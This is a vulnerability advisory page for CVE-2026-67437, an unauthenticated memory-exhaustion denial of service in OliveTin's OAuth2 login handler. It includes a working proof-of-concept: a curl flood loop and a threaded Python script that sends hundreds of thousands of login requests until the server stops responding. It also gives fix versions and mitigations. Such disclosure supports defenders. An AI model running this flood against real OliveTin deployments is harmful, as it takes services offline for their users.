Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

CVE-2026-67437 — OliveTin

HIGHFix: OliveTin/OliveTin@ec114e9

CVE-2026-67437 is a high-severity (CVSS 7.5) Uncontrolled Resource Consumption vulnerability in github.com/OliveTin/OliveTin. A fix is available for github.com/OliveTin/OliveTin — see the affected versions and patch details below.

OliveTin: Unauthenticated DoS via OAuth2 State Memory Exhaustion (Unbounded Map Growth)

Also known asGHSA-xpxj-f2fm-rqchGO-2026-6146
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 27, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-67437.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs50th percentile — riskier than 50% of all scored CVEsHighest risk
0.00%0.38%0.76%1.14%0.4%0.4%0.6%0.6%Aug 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-67437 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 397,508 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐹github.com/OliveTin/OliveTin

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

OliveTin's OAuth2 login handler stores per-login state in an in-memory map (registeredStates) that grows unboundedly. States are added on every /oauth/login request but are never deleted or expired. An unauthenticated attacker can send millions of requests to /oauth/login to fill the map with state entries, exhausting server memory and causing a denial of service.

This is distinct from CVE-2026-28789 (concurrent map writes crash). That CVE was about the panic from unsynchronized map access — the fix added a sync.RWMutex. This vulnerability is about the unbounded growth of the map even WITH the mutex, as no cleanup mechanism exists.

Affected Versions

  • All versions with OAuth2 support, including >= 3000.10.3 (which patched CVE-2026-28789)

Details

In service/internal/auth/otoauth2/restapi_auth_oauth2.go:

type OAuth2Handler struct {
    cfg                 *config.Config
    mu                  sync.RWMutex
    registeredStates    map[string]*oauth2State  // NEVER cleaned up
    registeredProviders map[string]*oauth2.Config
}

The HandleOAuthLogin handler adds a new state on every request:

func (h *OAuth2Handler) HandleOAuthLogin(w http.ResponseWriter, r *http.Request) {
    state, _ := randString(16)  // 24-byte base64 string
    // ...
    h.mu.Lock()
    h.registeredStates[state] = &oauth2State{
        providerConfig: provider,
        providerName:   providerName,
        Username:       "",
    }
    h.mu.Unlock()
    // ... redirect to OAuth2 provider
}

The HandleOAuthCallback handler updates existing states but never removes them:

func (h *OAuth2Handler) HandleOAuthCallback(w http.ResponseWriter, r *http.Request) {
    // ...
    h.mu.Lock()
    h.registeredStates[state].Username = userinfo.Username  // Updates, never deletes
    h.registeredStates[state].Usergroup = ...
    h.mu.Unlock()
}

There is no TTL, no expiry check, no periodic cleanup, and no max size limit on registeredStates.

Memory Impact Per State

Each map entry consists of:

  • Key: ~24 bytes (base64 string)
  • Value: *oauth2State struct containing:
    • providerConfig *oauth2.Config (pointer, 8 bytes + shared config)
    • providerName string (~8-16 bytes)
    • Username string (empty initially)
    • Usergroup string (empty initially)
  • Go map overhead: ~100-150 bytes per entry

Estimated: ~200 bytes per state entry

At 1 million states ≈ 200 MB of memory consumed. At 10 million states ≈ 2 GB of memory consumed.

Attack Vector

The /oauth/login endpoint is publicly accessible (unauthenticated). Each request is lightweight (no heavy computation like argon2). The server writes a cookie and returns a 302 redirect. An attacker can send thousands of requests per second.

PoC

Prerequisites

  • OliveTin instance with at least one OAuth2 provider configured
  • Network access to /oauth/login

Config

listenAddressSingleHTTPFrontend: 0.0.0.0:1337
logLevel: "INFO"
checkForUpdates: false

authOAuth2RedirectUrl: "http://127.0.0.1:1337/oauth/callback"
authOAuth2Providers:
  github:
    clientId: "test-client-id"
    clientSecret: "test-client-secret"

actions:
  - title: noop
    shell: echo "ok"

Step 1: Baseline health check

curl -i http://127.0.0.1:1337/readyz
# Expected: 200 OK

curl -I "http://127.0.0.1:1337/oauth/login?provider=github"
# Expected: 302 Found (redirect to GitHub)

Step 2: Flood with state-creation requests

# Each request creates a new map entry that is never cleaned up
for i in $(seq 1 100000); do
  curl -s -o /dev/null "http://127.0.0.1:1337/oauth/login?provider=github" &
  # Throttle to avoid connection limits
  if (( i % 500 == 0 )); then
    wait
    echo "Sent $i requests..."
  fi
done
wait
echo "Flood complete"

Step 3: Python PoC for sustained memory exhaustion

#!/usr/bin/env python3
"""PoC: OAuth2 State Memory Exhaustion DoS

Distinct from CVE-2026-28789 (concurrent map crash).
This exploits unbounded growth of the registeredStates map.
"""

import requests
import time
import sys
from concurrent.futures import ThreadPoolExecutor

TARGET = "http://127.0.0.1:1337"
PROVIDER = "github"
WORKERS = 50
TOTAL_REQUESTS = 500000
BATCH_SIZE = 1000

def create_state(_):
    """Send /oauth/login to create a new state entry."""
    try:
        requests.get(
            f"{TARGET}/oauth/login?provider={PROVIDER}",
            allow_redirects=False,
            timeout=5
        )
        return True
    except Exception:
        return False

def check_health():
    """Check if the server is still responsive."""
    try:
        r = requests.get(f"{TARGET}/readyz", timeout=5)
        return r.status_code == 200
    except Exception:
        return False

print(f"[*] Target: {TARGET}")
print(f"[*] Provider: {PROVIDER}")
print(f"[*] Total requests: {TOTAL_REQUESTS}")
print(f"[*] Workers: {WORKERS}")
print()

if not check_health():
    print("[!] Server not reachable")
    sys.exit(1)

start_time = time.time()
total_created = 0

with ThreadPoolExecutor(max_workers=WORKERS) as executor:
    for batch_start in range(0, TOTAL_REQUESTS, BATCH_SIZE):
        batch_end = min(batch_start + BATCH_SIZE, TOTAL_REQUESTS)
        results = list(executor.map(create_state, range(batch_start, batch_end)))
        total_created += sum(results)

        elapsed = time.time() - start_time
        rate = total_created / elapsed if elapsed > 0 else 0
        est_memory = total_created * 200 / 1024 / 1024  # MB

        print(f"  States created: {total_created:>8} | "
              f"Rate: {rate:>6.0f}/s | "
              f"Est. memory: {est_memory:>6.1f} MB | "
              f"Healthy: {check_health()}")

        if not check_health():
            print(f"\n[!] Server became unresponsive after {total_created} states!")
            print(f"[!] Estimated memory consumed: {est_memory:.1f} MB")
            break

print(f"\n[*] Attack complete. {total_created} states created in {time.time()-start_time:.1f}s")

Step 4: Verify memory growth (Docker)

docker stats olivetin-instance --no-stream
# Observe MEM USAGE growing continuously during the attack

Impact

  • Who is impacted: All OliveTin deployments with any OAuth2 provider configured
  • Attack requirements: Unauthenticated network access to /oauth/login
  • Effect: Gradual memory exhaustion leading to OOM kill or service degradation
  • Persistence: Memory is never reclaimed (states are never deleted) even after the attack stops — a restart is required
  • Distinction from CVE-2026-28789: That CVE was a race condition crash (concurrent map writes). This is unbounded memory growth that persists even with the mutex fix applied.

Suggested Fix

  1. Add a TTL to OAuth2 states (e.g., 15 minutes matching the cookie MaxAge)
  2. Add a maximum state count (e.g., 10,000) with LRU eviction
  3. Clean up states after successful callback
  4. Add periodic garbage collection for expired states

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/OliveTin/OliveTin≥ 0.0.0-20251024001301-45f9c18bc3ee&&< 0.0.0-20260708075951-ec114e95d2970.0.0-20260708075951-ec114e95d297go get github.com/OliveTin/OliveTin@v0.0.0-20260708075951-ec114e95d297

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/OliveTin/OliveTin, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/OliveTin/OliveTin to 0.0.0-20260708075951-ec114e95d297 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-67437 is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Frequently Asked Questions

## Summary OliveTin's OAuth2 login handler stores per-login state in an in-memory map (`registeredStates`) that grows unboundedly. States are added on every `/oauth/login` request but are **never deleted or expired**. An unauthenticated attacker can send millions of requests to `/oauth/login` to fill the map with state entries, exhausting server memory and causing a denial of service. This is **distinct from CVE-2026-28789** (concurrent map writes crash). That CVE was about the panic from unsynchronized map access — the fix added a `sync.RWMutex`. This vulnerability is about the **unbounded
O3 Security · Impact-Aware SCA

Is CVE-2026-67437 in your dependencies?

Find it across Go, including transitive dependencies.

CVE-2026-67437: OliveTin DoS — Fix Available